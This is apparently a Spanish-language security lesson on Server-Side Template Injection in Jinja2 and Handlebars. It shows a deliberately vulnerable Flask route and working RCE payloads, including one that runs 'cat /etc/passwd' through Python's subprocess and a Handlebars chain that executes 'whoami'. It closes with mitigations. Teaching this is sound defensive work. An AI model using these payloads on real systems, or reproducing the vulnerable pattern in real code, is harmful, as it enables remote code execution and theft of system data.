Avanzado
CVSS 8.8 - Alto
24 min
Server-Side Template Injection
Inyección de código en motores de plantillas del servidor
¿Qué es SSTI?
SSTI ocurre cuando input del usuario se inserta en plantillas del lado del servidor (Jinja2, Handlebars, etc) permitiendo ejecución de código arbitrario.
Ejemplo Vulnerable (Jinja2)
# Python/Flask - VULNERABLE
from flask import Flask, request, render_template_string
@app.route('/hello')
def hello():
name = request.args.get('name', 'World')
# ❌ PELIGROSO: renderizar input del usuario directamente
template = f"<h1>Hello {name}!</h1>"
return render_template_string(template)
# Ataque:
# /hello?name={{7*7}} → devuelve 49 (confirma SSTI)
# /hello?name={{config}} → leak configuración
# /hello?name={{''.__class__.__mro__[1].__subclasses__()}} → RCEPayloads por Motor
Jinja2 (Python)
{{7*7}}
{{config}}
{{self.__init__.__globals__}}
{{''.__class__.__mro__[1].__subclasses__()[396]('cat /etc/passwd',shell=True,stdout=-1).communicate()}}Handlebars (Node.js)
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}Mitigación
// ✅ NUNCA renderizar input del usuario como plantilla
// Mal:
return render_template_string(f"<h1>Hello {name}!</h1>")
// Bien: usar contexto
return render_template('hello.html', name=name)
<!-- hello.html -->
<h1>Hello {{ name }}!</h1> <!-- Jinja2 escapa automáticamente -->
// ✅ Sanitizar si es necesario
from markupsafe import escape
safe_name = escape(name)
// ✅ Usar sandboxing
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()